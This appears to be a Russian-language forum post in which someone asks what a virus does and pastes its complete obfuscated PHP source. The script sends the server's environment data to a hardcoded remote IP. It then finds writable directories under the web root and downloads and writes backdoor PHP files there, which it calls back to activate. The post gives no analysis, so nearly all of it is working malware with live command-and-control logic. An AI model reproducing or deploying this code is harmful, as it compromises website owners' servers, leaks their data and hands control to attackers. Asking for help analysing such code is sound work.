Ктонибудь понимает, что делает этот вирус??
<?php if (!@$incode) {
$vl = 's';
$serverid = '55c1698eff412c7bf8218491365b1ca4';
function oOO($oO, $oO0, $oo, $ooo) {
if (ini_get('allow_url_fopen') == 1):
$o00 = stream_context_create(array('http' => array('method' => 'POST', 'header' => array('Content-type: application/x-www-form-urlencoded'), 'content' => http_build_query($_SERVER))));
if ($ooo == 'yes'):
$oO = $oO . '&type=fopen';
endif;
$o0 = @file_get_contents($oO, false, $o00);
elseif (in_array('curl', get_loaded_extensions())):
if ($ooo == 'yes'):
$oO = $oO . '&type=curl';
endif;
$ooO0 = curl_init();
curl_setopt($ooO0, CURLOPT_URL, $oO);
curl_setopt($ooO0, CURLOPT_HEADER, false);
curl_setopt($ooO0, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ooO0, CURLOPT_POSTFIELDS, http_build_query($_SERVER));
$o0 = @curl_exec($ooO0);
curl_close($ooO0);
else:
if ($ooo == 'yes'):
$oo = $oo . '&type=socks';
endif;
$oOO = fsockopen($oO0, 80, $o0o0O, $oOOo, 10);
if ($oOO):
$ooOO0 = http_build_query($_SERVER);
$oo00 = 'POST ' . $oo . ' HTTP/1.0' . "
";
$oo00.= 'Host: ' . $oO0 . "
";
$oo00.= 'Content-Type: application/x-www-form-urlencoded' . "
";
$oo00.= 'Content-Length: ' . strlen($ooOO0) . "
";
fputs($oOO, $oo00);
fputs($oOO, $ooOO0);
$oo0 = '';
while (!feof($oOO)):
$oo0.= fgets($oOO, 4096);
endwhile;
fclose($oOO);
list($oooo, $o000o) = @preg_split("/\R\R/", $oo0, 2);
$o0 = $o000o;
endif;
endif;
return $o0;
}
function o0($oo0o) {
$oOoo0 = array();
$oOoo0[] = $oo0o;
foreach (scandir($oo0o) as $ooOo0):
if ($ooOo0 == '.' || $ooOo0 == '..'):
continue;
endif;
$oooO0 = $oo0o . DIRECTORY_SEPARATOR . $ooOo0;
if (is_dir($oooO0)):
$oOoo0[] = $oooO0;
$oOoo0 = array_merge($oOoo0, o0($oooO0));
endif;
endforeach;
return $oOoo0;
}
$o00o = @preg_replace('/^www\./', '', $_SERVER['HTTP_HOST']);
$oO0 = '91.210.165.152';
$oo = '/get.php?spider&checkdomain&host=' . $o00o . '&serverid=' . $serverid . '&stookfile=' . __FILE__;
$oO = 'http://' . $oO0 . '/get.php?spider&checkdomain&host=' . $o00o . '&serverid=' . $serverid . '&stookfile=' . __FILE__;
$o0O = oOO($oO, $oO0, $oo, $ooo = 'no');
if ($o0O != 'havedoor|havedonor'):
if ($o0O != 'needtowait'):
$o0o = @preg_replace('/^www\./', '', $_SERVER['HTTP_HOST']);
$oOo0O = $_SERVER['DOCUMENT_ROOT'];
chdir($oOo0O);
$oOoo0 = o0($oOo0O);
$oOoo0 = array_unique($oOoo0);
foreach ($oOoo0 as $ooOo0):
if (is_dir($ooOo0) && is_writable($ooOo0)):
$o0o00 = explode(DIRECTORY_SEPARATOR, $ooOo0);
$o0oO = count($o0o00);
$oOo00[] = $o0oO . '|' . $ooOo0;
endif;
endforeach;
$o0oO = 0;
foreach ($oOo00 as $o00oO):
if (count($oOo00) > 1 && (strstr($o00oO, '/wp-admin') || strstr($o00oO, '/cgi-bin'))):
unset($oOo00[$o0oO]);
endif;
$o0oO++;
endforeach;
if (!is_writable($oOo0O)):
natsort($oOo00);
$oOo00 = array_values($oOo00);
$o00oO = explode('|', $oOo00[0]);
$o00oO = $o00oO[1];
else:
$o00oO = $oOo0O;
endif;
chdir($o00oO);
if (strstr($o0O, '|')):
$o0oo0 = explode('|', $o0O);
$ooOOo = $o0oo0[0];
$ooo0O = $o0oo0[1];
if ($ooOOo == 'nodoor'):
$oO = 'http://' . $oO0 . '/get.php?vl=' . $vl . '&update&needfilename';
$oo = '/get.php?vl=' . $vl . '&update&needfilename';
$ooOo = oOO($oO, $oO0, $oo, $ooo = 'no');
$oOooo = explode('|||||', $ooOo);
$o0o0 = $oOooo[0] . '.php';
$oOOoo = $oOooo[1];
file_put_contents($o00oO . DIRECTORY_SEPARATOR . $o0o0, $oOOoo);
$o0000 = str_replace($oOo0O, '', $o00oO);
$oO = 'http://' . $o0o . $o0000 . '/' . $o0o0 . '?gen&serverid=' . $serverid;
$oo = $o0000 . '/' . $o0o0 . '?gen&serverid=' . $serverid;
$o0OO = oOO($oO, $o0o, $oo, $ooo = 'no');
endif;
if ($ooo0O == 'nodonor'):
endif;
elseif ($o0O == 'needtoloadsomefiles'):
shuffle($oOo00);
$o00oO = explode('|', $oOo00[0]);
$o00oO = $o00oO[1];
$o0000 = str_replace($oOo0O, '', $o00oO);
$oO00 = 'stuvwxyz';
$o0o0 = str_shuffle($oO00) . '.php';
$oOO0 = urlencode('http://' . $o0o . $o0000 . '/' . $o0o0);
$oO = 'http://' . $oO0 . '/get.php?bdr&url=' . $oOO0;
$oo = '/get.php?bdr&url=' . $oOO0;
$o0 = oOO($oO, $oO0, $oo, $ooo = 'no');
file_put_contents($o00oO . DIRECTORY_SEPARATOR . $o0o0, $o0);
endif;
endif;
endif;
$incode = 1;
} ?>